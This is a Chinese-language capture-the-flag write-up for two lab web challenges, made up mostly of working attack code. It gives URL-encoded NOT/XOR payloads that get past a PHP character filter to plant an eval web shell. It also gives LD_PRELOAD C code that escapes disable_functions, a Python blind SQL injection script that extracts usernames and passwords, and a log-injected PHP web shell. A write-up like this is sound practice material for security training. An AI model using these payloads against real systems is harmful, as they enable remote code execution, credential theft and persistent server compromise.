<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
開啓得到原始碼,過濾了數位和字母,用取反或者互斥或來繞過
取反:?code=(~%8F%97%8F%96%91%99%90)();//phpinfo();
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9E%CC%8C%97%96%DD%A2%D6%D6
);//前一段是assert後一段是(eval($_POST["ta3shi"])),最後分號不要忘記
互斥或:?code=${%A5%BD%BF%AE^%fa%fa%fa%fa}{_}(${%A5%BD%BF%AE^%fa%fa%fa%fa}{__});&_=assert&__=eval($_POST[ta3shi])
//$_GET[_]($_GET[__])
構造以上payload的就可以用蟻劍連了
連上之後在根目錄發現有個空的flag和一個readflag檔案,而PHPinfo裡禁用了命令執行的函數,所以所以蟻劍 上連線的shell基本 沒有功能,這個時候我們 就要用LD_PRELOAD & putenv()來繞過disable_functions
具體內容可以參考這篇文章深入淺出LD_PRELOAD & putenv()
將下載的bypass_disablefunc_x64.so和bypass_disablefunc.php上傳到/tmp目錄下,然後payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/tmp/bypass_disablefunc_x64.so
仿照文章寫c檔案
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/flag.txt");
}
或者是
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
然後編譯成.so檔案
gcc -shared -fPIC test.c -o exp.so
上傳到/tmp目錄,然後用蟻劍的指令碼執行工具,執行
putenv("LD_PRELOAD=/tmp/exp.so");
mail('','','','');
就可以在/tmp目錄讀取flag了
robots.txt泄露原始碼*.php.bak試出來是image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
過濾處會把\0,%00,'轉爲空格,那麼我們 id=\\0就會將id後面的引號跳脫後面就可以用整形注入
下面 下麪payload
import time as t
url='http://8a43e8d6-0fcd-4ab1-9269-1cec950c17eb.node3.buuoj.cn/image.php?id=\\\\0&path=or%20id='
result = ''
for x in range(1, 500):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload='if(ascii(substr((select group_concat(column_name) from information.schema.columns where table_name=0x7573657273),%d,1))>%d,1,0)--+'%(x,mid)
payload='if(ascii(substr((select group_concat(username,password) from (users)),%d,1))>%d,1,0)--+'%(x,mid)
t.sleep(0.5)
print(url+payload)
response = requests.get(url+payload)
if 'WFZ' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result)
得到admin-9e8171be8517f8aa3285
登錄上去
上傳檔案,測試了幾次發現會把檔名上傳到日誌檔案裡並且是php檔案,那麼檔名改一下就可以了不過php被過濾了用<?=就可以了
filename="<?= @eval($_POST[1]);?>"
<>裡的內容不可見所以檢視原始碼的時候看不見直接蟻劍連就可以了
flag在根目錄